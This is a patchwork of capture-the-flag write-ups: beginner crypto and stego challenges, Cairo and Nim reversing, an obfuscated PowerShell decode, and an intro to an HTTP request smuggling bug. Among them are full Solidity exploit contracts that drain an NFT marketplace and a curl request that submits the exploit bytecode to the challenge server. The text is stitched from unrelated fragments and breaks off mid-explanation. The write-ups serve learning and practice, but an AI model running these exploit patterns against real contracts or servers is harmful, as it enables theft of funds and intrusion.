Flag format: IGE{XXXXX_XXXXXXX_XX_XXXX}```
---
### Soln :
It was a basic beginner challenge. The statement `czkkcv_trvjrij_zj_xffu` seems like a shifted flag.
Veni, vidi, vici is a Latin phrase popularly attributed to Julius Caesar which is mentioned in the challenge name as well.
Therefore, we search for caesar ciphers and then use a decoder to decode the given cipher.
Using [dcode.fr](https://www.dcode.fr/caesar-cipher),
we get the flag : little_caesars_is_good
#### THE FLAG : IGE{little_caesars_is_good}
---
Thank you |
### Chall Desc : I love it when the ocean swirls
```pyScenario:
While the forensics team was looking through a confiscated computer, they came across a strange text file on the Desktop.
Credit: Byrch B.
Prompt:
Here is the message:
b9c52a4e6bd7d06d678fee66ac3066dfe92b43d65fe1c51004557400a918881e63c4357328e2a804373d10a668b22299c8c70beec65f7507e7f41a19c5a29153
Flag format: IGE{XXXXXXXX}```
---
### Soln :
This is also a beginner level challenge. We are given a hash which is not simple hex.
I tried using hex decode on CyberChef to ascii but didn't work.
Finally using [crackstation](https://crackstation.net/), we get our flag : kinghash
#### THE FLAG : IGE{kinghash}
---
Thank you |
[Original writeup](https://medium.com/@mr_zero/inter-galactic-ctf-competition-e373964f92ab) (https://medium.com/@mr_zero/inter-galactic-ctf-competition-e373964f92ab). |
### Chall Desc : haXOR
```pyScenario:
There are weird engravings of letters and numbers on rocks in the planet Kimaprim. We've managed to collect one of them.
Credit: Byrch B.
Prompt:
Please decrypt the following: 78 76 74 4A 69 7E 63 6E 00 15 6E 74 50 42 68 4C
Flag format:
IGE{XXX_XX_XXXX}```
---
### Soln :
We are given a hex code which can be decoded using cyberchef online tool :
Then we need to use xor to the output of hex to get the flag.

#### THE FLAG : IGE{XOR_1$_EasY}
---
Thank you |
[writeup](https://medium.com/@mr_zero/inter-galactic-ctf-competition-a296ec0c0f62) : https://medium.com/@mr_zero/inter-galactic-ctf-competition-a296ec0c0f62 |
[writeup](https://medium.com/@mr_zero/inter-galactic-ctf-competition-53ac81ee8744) : https://medium.com/@mr_zero/inter-galactic-ctf-competition-53ac81ee8744 |
# Cairo Reverse [41 solves] [182 points] [First Blood ?]

### Description :```Simple cairo reverse
starknet-compile 0.9.1
dist.zip
Author: ysc```
Two files were given, the source code `contract.cairo`, and the compiled contract `contract_compiled.json`.
### Contract : ```# Declare this file as a StarkNet contract.%lang starknet
from starkware.cairo.common.cairo_builtins import HashBuiltin
@viewfunc get_flag{ syscall_ptr : felt*, pedersen_ptr : HashBuiltin*, range_check_ptr,}(t:felt) -> (res : felt): if t == /* CENSORED */: return (res=0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 + t*t) else: return(res=0) endend```
One line is censored, so we have to reverse the compiled contract, and see what it will return as the flag.
After some quick googling, I found a tool for reversing cairo contracts : https://github.com/FuzzingLabs/thoth
Then just decompile the compiled contract with it : ```thoth -f contract_compiled.json -d -color```
There is a hex value on the section for the `get_flag` function : ```@view func __main__.get_flag{syscall_ptr : felt*, pedersen_ptr : starkware.cairo.common.cairo_builtins.HashBuiltin*, range_check_ptr : felt}(t : felt) -> (res : felt) [AP] = [FP-3] + -0x1d6e61c2969f782ede8c3; ap ++ if [AP-1] == 0: [AP] = [FP-3] * [FP-3]; ap ++ [AP] = [FP-6]; ap ++ [AP] = [FP-5]; ap ++ [AP] = [FP-4]; ap ++ [AP] = [AP-4] + 0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4; ap ++ return([ap-1])
end [AP] = [FP-6]; ap ++ [AP] = [FP-5]; ap ++ [AP] = [FP-4]; ap ++ # 0 -> 0x0 [AP] = 0; ap ++ return([ap-1])end```
Finally, just get the flag with it : ```python>>> binascii.unhexlify(hex(-0x1d6e61c2969f782ede8c3*-0x1d6e61c2969f782ede8c3 + 0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4)[2:])b'BALSN{read_data_from_cairo}``` |
# NFT Marketplace [10 solves] [358 points]
### Description :```Simple NFT Marketplace
http://nft-marketplace.balsnctf.com:3000/
Author: ysc```
Two files were given, the contract `NFTMarketplace.sol`, and the hardhat configuration `hardhat.config.js`.
The objective of this challenge is to own all 4 NFTs and draining the NMToken balance of the marketplace contract
### Contract : ```solidity // SPDX-License-Identifier: UNLICENSEDpragma solidity 0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract RareNFT is ERC721 { bool _lock = false;
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function mint(address to, uint256 tokenId) public { require(!_lock, "Locked"); _mint(to, tokenId); }
function lock() public { _lock = true; }}
contract NMToken is ERC20 { bool _lock = false; address admin;
constructor(string memory name, string memory symbol) ERC20(name, symbol) { admin = msg.sender; }
function mint(address to, uint256 amount) public { // shh - admin function require(msg.sender == admin, "admin only"); _mint(to, amount); }
function move(address from, address to, uint256 amount) public { // shh - admin function require(msg.sender == admin, "admin only"); _transfer(from, to, amount); }
function lock() public { _lock = true; }}
contract NFTMarketplace { error TransferFromFailed(); event GetFlag(bool success);
bool public initialized; bool public tested; RareNFT public rareNFT; NMToken public nmToken; Order[] public orders;
struct Order { address maker; address token; uint256 tokenId; uint256 price; }
constructor() { }
function initialize() public { require(!initialized, "Initialized"); initialized = true;
nmToken = new NMToken{salt: keccak256("NMToken")}("NM Token", "NMToken"); nmToken.mint(address(this), 1000000); nmToken.mint(msg.sender, 100); nmToken.lock(); nmToken.approve(address(this), type(uint256).max);
rareNFT = new RareNFT{salt: keccak256("rareNFT")}("Rare NFT", "rareNFT"); rareNFT.mint(address(this), 1); rareNFT.mint(address(this), 2); rareNFT.mint(address(this), 3); rareNFT.mint(msg.sender, 4); rareNFT.lock();
// NFTMarketplace(this).createOrder(address(rareNFT), 1, 10000000000000); // I think it's super rare. NFTMarketplace(this).createOrder(address(rareNFT), 2, 100); NFTMarketplace(this).createOrder(address(rareNFT), 3, 100000); }
function getTokenVersion() public pure returns (bytes memory) { return type(NMToken).creationCode; }
function getNFTVersion() public pure returns (bytes memory) { return type(RareNFT).creationCode; }
function createOrder(address token, uint256 tokenId, uint256 price) public returns(uint256) { orders.push(Order(msg.sender, token, tokenId, price)); _safeTransferFrom(token, msg.sender, address(this), tokenId); return orders.length - 1; }
function cancelOrder(uint256 orderId) public { require(orderId < orders.length, "Invalid orderId"); Order memory order = orders[orderId]; require(order.maker == msg.sender, "Invalid maker"); _deleteOrder(orderId); _safeTransferFrom(order.token, address(this), order.maker, order.tokenId); }
function fulfill(uint256 orderId) public { require(orderId < orders.length, "Invalid orderId"); Order memory order = orders[orderId]; require(order.maker != address(0), "Invalid maker"); _deleteOrder(orderId); nmToken.move(msg.sender, order.maker, order.price); _safeTransferFrom(order.token, address(this), msg.sender, order.tokenId); }
function fulfillTest(address token, uint256 tokenId, uint256 price) public { require(!tested, "Tested"); tested = true; uint256 orderId = NFTMarketplace(this).createOrder(token, tokenId, price); fulfill(orderId); }
function verify() public { require(nmToken.balanceOf(address(this)) == 0, "failed"); require(nmToken.balanceOf(msg.sender) > 1000000, "failed"); require(rareNFT.ownerOf(1) == msg.sender && rareNFT.ownerOf(2) == msg.sender && rareNFT.ownerOf(3) == msg.sender && rareNFT.ownerOf(4) == msg.sender); emit GetFlag(true); }
function _safeTransferFrom( address token, address from, address to, uint256 tokenId ) internal { bool success; bytes memory data;
assembly { // we'll write our calldata to this slot below, but restore it later let memPointer := mload(0x40) // write the abi-encoded calldata into memory, beginning with the function selector mstore(0, 0x23b872dd00000000000000000000000000000000000000000000000000000000) mstore(4, from) // append the 'from' argument mstore(36, to) // append the 'to' argument mstore(68, tokenId) // append the 'tokenId' argument
success := and( // set success to whether the call reverted, if not we check it either // returned exactly 1 (can't just be non-zero data), or had no return data or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), // we use 100 because that's the total length of our calldata (4 + 32 * 3) // - counterintuitively, this call() must be positioned after the or() in the // surrounding and() because and() evaluates its arguments from right to left call(gas(), token, 0, 0, 100, 0, 32) ) data := returndatasize()
mstore(0x60, 0) // restore the zero slot to zero mstore(0x40, memPointer) // restore the memPointer } if (!success) revert TransferFromFailed(); }
function _deleteOrder(uint256 orderId) internal { orders[orderId] = orders[orders.length - 1]; orders.pop(); }}```
### Briefly explaining what the contract does :
First, there's a RareNFT contract which is ERC721 contract with a lock implemented, after it's locked, the minting function will be disabled.
There's also a NMToken contract which is a ERC20 contract, it also has the lock function like RareNFT. However the minting function will not read the lock at all, even if it's locked, the admin can still mint NFT.
NMToken contract also has a `move()` function, which allows the admin to arbitarily transfer anyone's token.
For the NFTMarketplace, there's an `initialize()` function, which will deploy RareNFT and NMToken contract with the salt, and mint 1000000 NMTokens for the marketplace itself and 100 to the caller. Then it mint NFT id 1-3 to the marketplace and NFT id 4 to the caller. After all minting is done, it lock both RareNFT and NMToken contract. Finally, it create order for NFT id 2,3.
There's `createOrder()` to let sellers create an order and transfer their NFT to the marketplace with the `_safeTransferFrom()` function, and there's `fulfill()` to let buyers to pay for the orders with NMTokens to buy NFT.
The `_safeTransferFrom()` has an assembly block which make a call with `0x23b872dd` as the function identifier, which is calling the `transferFrom()` function, it's supposed to be used for ERC721, but it can also be used for ERC20 if we passed in an ERC20 contract address as the `token` parameter.
### How to steal either RareNFT or NMToken form the marketplace :
There's a `fulfillTest()` function, which can only be used once. The marketplace contract will call itself to create order as the marketplace, and then fulfill the order as the caller.
As it calls `createOrder()` as the marketplace, so we can control the parameter to arbitarily create order as the marketplace, such as selling RareNFT or even NMToken.
For example stealing NFT id 1, the marketplace did not create order during the initialization, so we can just create an order as the marketplace using `fulfillTest()` and set the price to 0 NMToken, then it will fulfill the order as the caller, so the caller will own NFT id 1 after the function call.
We can also pass in the address for the NMToken contract, and create an order for ERC20 as the marketplace, and set the amount of ERC20 as the tokenid parameter. Then the caller can steal the NMToken of the marketplace.
However `fulfillTest()` alone could not solve the challenge, as we need to drain the marketplace as well as owning all NFTs, `fulfillTest()` can either steal NMToken for once or stealing one NFT, as it can only be called once.
### How the challenge can be solved :
There is another problem with the marketplace contract, which is the `initialize()` function. After the contract is deployed, it is not initialized, and the user is going to initialize it.
If we create order after the initialization, we can not create an order of RareNFT that we don't have, or create an order of NMToken that the amount is more than our balance as `_safeTransferFrom()` will fail and revert the transaction.
But if we precompute the address of the RareNFT/NMToken contract and create order before initialization, we can create whatever order we want. As the RareNFT/NMToken contract is not deployed yet, the address has no code, and it won't revert transaction for whatever calldata we pass in.
So we can create order for stealing NMToken to buy NFT id 2,3 and drain the remaining NMToken of the marketplace before the initialization.
Then initialize the marketplace, fulfill the first order to drain all NMTokens from the marketplace, and buy NFT id 2,3 with stolen NMTokens, and when we buy the NFTs some NMTokens will be transfer back to the marketplace, so fulfill the second order to drain the marketplace NMToken balance to 0.
Finally, steal the remaining NFT id 1 using `fulfillTest()`, and NFT id 4 is minted to us, so there's nothing we need to do with it. Then owned all NFTs and owned all NMTokens, and the challenge is solved.
### Exploit contract 1 :
```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity 0.8.9;
import "./NFTMarketplace.sol";
contract UserContract { function getBytecode(address _target) public pure returns (bytes memory) { NFTMarketplace marketplace = NFTMarketplace(_target); bytes memory bytecode = marketplace.getTokenVersion(); return abi.encodePacked(bytecode, abi.encode("NM Token", "NMToken")); }
function getAddress(address _target) public view returns (address) { bytes32 hash = keccak256( abi.encodePacked(bytes1(0xff), _target, keccak256("NMToken"), keccak256(getBytecode(_target))) );
// NOTE: cast last 20 bytes of hash to address return address(uint160(uint(hash))); }
address public nmtoken_addr;
function execute(address target) public { NFTMarketplace marketplace = NFTMarketplace(target); // Precompute nmtoken address nmtoken_addr = getAddress(target);
// Create order for erc20 contract before its initialized, so it won't revert even we set amount to more than we have // So we can steal erc20 token from the marketplace after its initialized marketplace.createOrder(nmtoken_addr, 1000000, 0); // order 0 marketplace.createOrder(nmtoken_addr, 100100, 0); // order 1
marketplace.initialize();
// Steal 1000000 erc20 using the created order before initialization marketplace.fulfill(0);
// Buy nft id 2/3 // The delete order will move last order in the list to the position of the deleted order // So nft id 3 originally is on order 3, now its order 0, as 0 is deleted above marketplace.fulfill(0);
// Then nft id 2's order will become 0, as its the last before we fulfill the order of nft id 3 marketplace.fulfill(0);
// Drain marketplace erc20 balance to 0 again, using the 100100 order we created earlier // Its moved to order 0 now marketplace.fulfill(0);
// Steal nft tokenid 1 marketplace.fulfillTest(address(marketplace.rareNFT()), 1, 0); marketplace.verify(); }}```
### Flag : Just compile the exploit contract and send the bytecode to the server and get the flag : ```curl -v http://nft-marketplace.balsnctf.com:3000/exploit -X POST --header "Content-Type: application/json" -d '{"bytecode": "0x608060405234801561001057600080fd5b506108a6806100206000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c80630c6008af146100515780634b64e4921461007a578063ae22c57d1461008f578063dcf6a8a4146100ba575b600080fd5b61006461005f3660046106c1565b6100cd565b6040516100719190610715565b60405180910390f35b61008d6100883660046106c1565b6101cf565b005b6100a261009d3660046106c1565b610607565b6040516001600160a01b039091168152602001610071565b6000546100a2906001600160a01b031681565b606060008290506000816001600160a01b031663a5a621cf6040518163ffffffff1660e01b815260040160006040518083038186803b15801561010f57600080fd5b505afa158015610123573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261014b919081019061075e565b905080604051602001610199906040808252600890820152672726902a37b5b2b760c11b6060820152608060208201819052600790820152662726aa37b5b2b760c91b60a082015260c00190565b60408051601f19818403018152908290526101b7929160200161080b565b60405160208183030381529060405292505050919050565b806101d981610607565b600080546001600160a01b0319166001600160a01b03928316908117825560405163acfee8ed60e01b81526004810191909152620f4240602482015260448101919091529082169063acfee8ed90606401602060405180830381600087803b15801561024457600080fd5b505af1158015610258573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027c919061083a565b506000805460405163acfee8ed60e01b81526001600160a01b039182166004820152620187046024820152604481019290925282169063acfee8ed90606401602060405180830381600087803b1580156102d557600080fd5b505af11580156102e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061030d919061083a565b50806001600160a01b0316638129fc1c6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561034957600080fd5b505af115801561035d573d6000803e3d6000fd5b505060405163753b880760e01b8152600060048201526001600160a01b038416925063753b88079150602401600060405180830381600087803b1580156103a357600080fd5b505af11580156103b7573d6000803e3d6000fd5b505060405163753b880760e01b8152600060048201526001600160a01b038416925063753b88079150602401600060405180830381600087803b1580156103fd57600080fd5b505af1158015610411573d6000803e3d6000fd5b505060405163753b880760e01b8152600060048201526001600160a01b038416925063753b88079150602401600060405180830381600087803b15801561045757600080fd5b505af115801561046b573d6000803e3d6000fd5b505060405163753b880760e01b8152600060048201526001600160a01b038416925063753b88079150602401600060405180830381600087803b1580156104b157600080fd5b505af11580156104c5573d6000803e3d6000fd5b50505050806001600160a01b0316636c676b7f826001600160a01b0316632ab6861f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561051157600080fd5b505afa158015610525573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105499190610853565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201526001602482015260006044820152606401600060405180830381600087803b15801561059857600080fd5b505af11580156105ac573d6000803e3d6000fd5b50505050806001600160a01b031663fc735e996040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156105eb57600080fd5b505af11580156105ff573d6000803e3d6000fd5b505050505050565b6000806001600160f81b0319837fbf4aa97203733fbfd565de6a80bca9538746b7a8802f1de294a724399a8a261d61063e826100cd565b805160209182012060405161068a95949392016001600160f81b031994909416845260609290921b6bffffffffffffffffffffffff191660018401526015830152603582015260550190565b60408051601f1981840301815291905280516020909101209392505050565b6001600160a01b03811681146106be57600080fd5b50565b6000602082840312156106d357600080fd5b81356106de816106a9565b9392505050565b60005b838110156107005781810151838201526020016106e8565b8381111561070f576000848401525b50505050565b60208152600082518060208401526107348160408501602087016106e5565b601f01601f19169190910160400192915050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561077057600080fd5b815167ffffffffffffffff8082111561078857600080fd5b818401915084601f83011261079c57600080fd5b8151818111156107ae576107ae610748565b604051601f8201601f19908116603f011681019083821181831017156107d6576107d6610748565b816040528281528760208487010111156107ef57600080fd5b6108008360208301602088016106e5565b979650505050505050565b6000835161081d8184602088016106e5565b8351908301906108318183602088016106e5565b01949350505050565b60006020828403121561084c57600080fd5b5051919050565b60006020828403121561086557600080fd5b81516106de816106a956fea264697066735822122027b3085ee08fb3c61654db5b6b110db2ab64e90bd11a7908f15fd023c8a054ec64736f6c63430008090033"}'Note: Unnecessary use of -X or --request, POST is already inferred.* Trying 3.239.61.106:3000...* Connected to nft-marketplace.balsnctf.com (3.239.61.106) port 3000 (#0)> POST /exploit HTTP/1.1> Host: nft-marketplace.balsnctf.com:3000> User-Agent: curl/7.74.0> Accept: */*> Content-Type: application/json> Content-Length: 4510> * upload completely sent off: 4510 out of 4510 bytes* Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< X-Powered-By: Express< Content-Type: text/html; charset=utf-8< Content-Length: 39< ETag: W/"27-7taGCupXcCla7l0vnnjZ3XYiQZU"< Date: Sat, 03 Sep 2022 16:41:13 GMT< Connection: keep-alive< Keep-Alive: timeout=5< * Connection #0 to host nft-marketplace.balsnctf.com left intactBALSN{safeTransferFrom_ERC20_to_ERC721}```
### Cleaner solution :
After the challenge is solved, my teammate suggested a cleaner way to solve this challenge.
Actually, we don't need to use `fulfillTest()` at all, and we don't need to buy NFT id 2,3 on the order it set on the initialization, we can archieve everything by creating orders before initialization.
We will create 4 orders in total with 0 NMToken as price before the initialization.
First, create an order to steal all 1000000 NMTokens from the marketplace.
Then, create 3 orders to steal NFT id 1,2 and 3.
After the initialization, just fulfill all 4 orders we created, then the challenge is solved.
### Exploit contract 2 :
```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity 0.8.9;
import "./NFTMarketplace.sol";
contract UserContract { function getBytecode(address _target) public pure returns (bytes memory) { NFTMarketplace marketplace = NFTMarketplace(_target); bytes memory bytecode = marketplace.getTokenVersion(); return abi.encodePacked(bytecode, abi.encode("NM Token", "NMToken")); }
function getAddress(address _target) public view returns (address) { bytes32 hash = keccak256( abi.encodePacked(bytes1(0xff), _target, keccak256("NMToken"), keccak256(getBytecode(_target))) ); return address(uint160(uint(hash))); }
function getBytecode2(address _target) public pure returns (bytes memory) { NFTMarketplace marketplace = NFTMarketplace(_target); bytes memory bytecode = marketplace.getNFTVersion(); return abi.encodePacked(bytecode, abi.encode("Rare NFT", "rareNFT")); }
function getAddress2(address _target) public view returns (address) { bytes32 hash = keccak256( abi.encodePacked(bytes1(0xff), _target, keccak256("rareNFT"), keccak256(getBytecode2(_target))) ); return address(uint160(uint(hash))); }
address public nmtoken_addr; address public rarenft_addr;
function execute(address target) public { NFTMarketplace marketplace = NFTMarketplace(target); nmtoken_addr = getAddress(target); rarenft_addr = getAddress2(target);
marketplace.createOrder(nmtoken_addr, 1000000, 0); marketplace.createOrder(rarenft_addr, 1, 0); marketplace.createOrder(rarenft_addr, 2, 0); marketplace.createOrder(rarenft_addr, 3, 0);
marketplace.initialize();
marketplace.fulfill(0); marketplace.fulfill(1); marketplace.fulfill(2); marketplace.fulfill(2); marketplace.verify(); }}``` |
# nimrev## AnalysisWe're given an executable file called _chall_. Running the **file** command on it gives us the following.```chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7d489f42d4feb5f1b402f276543f3046dfed5ab4, for GNU/Linux 3.2.0, not stripped```Running the program takes our input and looks to compare it to something, as giving it the wrong input prints wrong.```> testWrong...```Since the file is not stripped, we can check its strings to see if we spot any interesting information. ```...linefilenametrace@Correct! <-- Correct message for the flag@Wrong... <-- Flag is wrong:*3$"GCC: (Ubuntu 10.3.0-1ubuntu1~20.04) 10.3.0crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrystdlib_digitsutils.nim.cnimCopyMem <-- nim function ...
```Based on the strings and the challenge name itself, we can assume that this is a nim program. We can also see the message we get back after giving the program the wrong input. We can check the disassembly to see when the ouput messages are decided and printed.```0000adfb int64_t NimMainModule()
0000ae07 void* fsbase0000ae07 int64_t rax = *(fsbase + 0x28)0000ae22 int64_t* var_180000ae22 nimZeroMem(&var_18, 8)0000ae27 int64_t var_48 = 00000ae39 int64_t* rax_1 = readLine_systemZio_271(stdin)0000ae42 int64_t var_40 = 00000ae56 int64_t* list = newSeq(&NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_, 0x18)0000ae63 list[2].b = 0xbc0000ae6b *(list + 0x11) = 0x9e0000ae73 *(list + 0x12) = 0x940000ae7b *(list + 0x13) = 0x9a0000ae83 *(list + 0x14) = 0xbc0000ae8b *(list + 0x15) = 0xab0000ae93 *(list + 0x16) = 0xb90000ae9b *(list + 0x17) = 0x840000aea3 list[3].b = 0x8c0000aeab *(list + 0x19) = 0xcf0000aeb3 *(list + 0x1a) = 0x920000aebb *(list + 0x1b) = 0xcc0000aec3 *(list + 0x1c) = 0x8b0000aecb *(list + 0x1d) = 0xce0000aed3 *(list + 0x1e) = 0x920000aedb *(list + 0x1f) = 0xcc0000aee3 list[4].b = 0x8c0000aeeb *(list + 0x21) = 0xa00000aef3 *(list + 0x22) = 0x910000aefb *(list + 0x23) = 0xcf0000af03 *(list + 0x24) = 0x8b0000af0b *(list + 0x25) = 0xa00000af13 *(list + 0x26) = 0xbc0000af1b *(list + 0x27) = 0x820000af2b uint64_t (* var_28)(char arg1)0000af2b nimZeroMem(&var_28, 0x10)0000af37 var_28 = colonanonymous__main_70000af43 int64_t var_38 = 00000af50 int64_t rsi0000af50 if (list == 0)0000af5b rsi = 00000af56 else0000af56 rsi = *list0000af76 int64_t* mapped_list = map_main_11(&list[2], rsi, colonanonymous__main_7, 0)0000af7f int64_t var_30 = 00000af8c int64_t rax_290000af8c if (mapped_list == 0)0000af97 rax_29 = 00000af92 else0000af92 rax_29 = *mapped_list0000afd0 if ((eqStrings(rax_1, join_main_42(&mapped_list[2], rax_29, nullptr)) ^ 1) != 0)0000aff1 var_18 = copyString(&wrong_section)0000afde else0000afde var_18 = copyString(&correct_section)0000b001 echoBinSafe(&var_18, 1)0000b00b int64_t rax_37 = rax - *(fsbase + 0x28)0000b014 if (rax == *(fsbase + 0x28))0000b01c return rax_370000b016 __stack_chk_fail()0000b016 noreturn
```On the **NimMainModule**, we can see that the function takes user input and begins to build a new list. This list is then filled with values and then mapped a function called *colonanonymous_main_7* to create a new list. This new list (**mapped_list**) is then joined and used to compare with the user input as a string. If this compare fails, we get the wrong output. The program doesn't look to print the flag itself anywhere. This means that the program is checking whether the input given is the valid flag.
We know from the disassembly that the mapped_list is passed to the join_main_42 function; let's use a breakpoint in gdb-gef to see what's going on there. ```Starting program: /home/tripleta/ctf/cakectf-2022/nimrev/chall test
Breakpoint 1, 0x000055555555efaf in NimMainModule ()
[ Legend: Modified register | Code | Heap | Stack | String ]────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax : 0x18 $rbx : 0x0055555555f070 → <__libc_csu_init+0> endbr64 $rcx : 0x007ffff7d4d0a0 → "CakeCTF{s0m3t1m3s_n0t_C}"$rdx : 0x0 $rsp : 0x007fffffffdc50 → 0x007ffff7d4c050 → 0x0000000000000004$rbp : 0x007fffffffdc90 → 0x007fffffffdca0 → 0x007fffffffdcc0 → 0x007fffffffdcf0 → 0x0000000000000000$rsi : 0x18 $rdi : 0x007ffff7d4d0a0 → "CakeCTF{s0m3t1m3s_n0t_C}"$rip : 0x0055555555efaf → <NimMainModule+436> call 0x55555555e9a9 <join_main_42>$r8 : 0x007ffff7d4c060 → 0xa0a000074736574 ("test"?)$r9 : 0x7c $r10 : 0x007ffff7fa9be0 → 0x005555555766a0 → 0x0000000000000000$r11 : 0x246 $r12 : 0x00555555555320 → <_start+0> endbr64 $r13 : 0x007fffffffdde0 → 0x0000000000000001$r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x007fffffffdc50│+0x0000: 0x007ffff7d4c050 → 0x0000000000000004 ← $rsp0x007fffffffdc58│+0x0008: 0x007ffff7d4d050 → 0x00000000000000180x007fffffffdc60│+0x0010: 0x007ffff7d4d090 → 0x00000000000000180x007fffffffdc68│+0x0018: 0x00000000000000000x007fffffffdc70│+0x0020: 0x0055555555eba3 → <colonanonymous.main_7+0> endbr64 0x007fffffffdc78│+0x0028: 0x00000000000000000x007fffffffdc80│+0x0030: 0x00000000000000000x007fffffffdc88│+0x0038: 0x1426d7380d12af00──────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555555efa4 <NimMainModule+425> mov edx, 0x0 0x55555555efa9 <NimMainModule+430> mov rsi, rax 0x55555555efac <NimMainModule+433> mov rdi, rcx → 0x55555555efaf <NimMainModule+436> call 0x55555555e9a9 <join_main_42> ↳ 0x55555555e9a9 <join_main_42+0> endbr64 0x55555555e9ad <join_main_42+4> push rbp 0x55555555e9ae <join_main_42+5> mov rbp, rsp 0x55555555e9b1 <join_main_42+8> sub rsp, 0x50 0x55555555e9b5 <join_main_42+12> mov QWORD PTR [rbp-0x38], rdi 0x55555555e9b9 <join_main_42+16> mov QWORD PTR [rbp-0x40], rsi──────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────join_main_42 ( $rdi = 0x007ffff7d4d0a0 → "CakeCTF{s0m3t1m3s_n0t_C}", $rsi = 0x00000000000018, $rdx = 0x00000000000000, $rcx = 0x007ffff7d4d0a0 → "CakeCTF{s0m3t1m3s_n0t_C}")──────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "chall", stopped 0x55555555efaf in NimMainModule (), reason: BREAKPOINT────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x55555555efaf → NimMainModule()[#1] 0x55555555ed60 → NimMainInner()[#2] 0x55555555eda0 → NimMain()[#3] 0x55555555edf2 → main()
```
There's our flag, **CakeCTF{s0m3t1m3s_n0t_C}**. |
challenge description : I accidentally lost the flag but I think it’s somewhere in this picture…
1- download file 2- identify the file type using file command (JPEG image data,)3- strings command to show printable text ( the flag was in the strings )flag : IGE{why_h3llo_th3re} |
[writeup](https://medium.com/@mr_zero/inter-galactic-ctf-competition-35aaca04cefc) : https://medium.com/@mr_zero/inter-galactic-ctf-competition-35aaca04cefc |
[writeup](https://medium.com/@mr_zero/inter-galactic-ctf-competition-ca865dbc25d9) : https://medium.com/@mr_zero/inter-galactic-ctf-competition-ca865dbc25d9 |
[Original writeup](https://medium.com/@mr_zero/inter-galactic-ctf-competition-9f2bca10316) (https://medium.com/@mr_zero/inter-galactic-ctf-competition-9f2bca10316). |
Intermediate - RE3 - We Just Got A Letter! Wonder who it’s from?!150
If you want to send spaceage mail, it gets pretty confusing. However, you might be able to figure out what is going on here with this mail we are trying to send. Take a look!
It looks like there is some base64 going on, but it isn’t that easy right?
${01010100100111100} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBVAGQARgBlADAASgA1AGMAbQBOAG8AWAAwAE4AeQBNADIARgAwAFoAVwBSAGYAZABHAGcAeABKAEgAMAA9AA=='))) ${01010100100111100} = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(${01010100100111100})) ${01101101101101110} = @{ From = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('agBvAGgAbgBAAGQAcwB1AC4AZQBkAHUA'))) To = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQBhAHIAaQBlAGwAQABkAHMAdQAuAGUAZAB1AA=='))) Subject = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VQBuAHMAcABvAGsAZQBuACAAVAByAHUAdABoAHMA'))) Body = $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("$($([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7ADAAMQAwADEAMAAxADAAMAAxADAAMAAxADEAMQAxADAAMAB9AA==')))))))"))) SmtpServer = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBtAHQAcAAuAGcAbQBhAGkAbAAuAGMAbwBtAA=='))) } Send-MailMessage @01101101101101110
Flag format: IGE{XXXXX_XXXXXXX_XXX}
ctf@kali:/ige# echo 'UwBVAGQARgBlADAASgA1AGMAbQBOAG8AWAAwAE4AeQBNADIARgAwAFoAVwBSAGYAZABHAGcAeABKAEgAMAA9AA==' | base64 -dSUdFe0J5cmNoX0NyM2F0ZWRfdGgxJH0=ctf@kali:/ige# ctf@kali:/ige# echo 'SUdFe0J5cmNoX0NyM2F0ZWRfdGgxJH0=' | base64 -dIGE{Byrch_Cr3ated_th1$}ctf@kali:/ige#
flag: IGE{Byrch_Cr3ated_th1$} |
There are two endpoints available, `/flag` and `/add-token`. `/add-token` checks for an auth so `/flag` is the only request we can use to perform a http request smuggling.
The `/flag` endpoint in the proxy makes another request to the back server to `/flag`, the objetive is use the proxy's `/flag` endpoint to make a request to the back's `/add-token` endpoint.
The vulnerability occurs because the token query is being used as part of the headers for the proxied request and that the `http-client.js` file only checks if the header includes `\r\n` so a regular `%0d%0a` (url encoded) won't work, but it doesn't check for just `\n` or `%0a`.
A regular HTTP request for `/flag` looks like this:
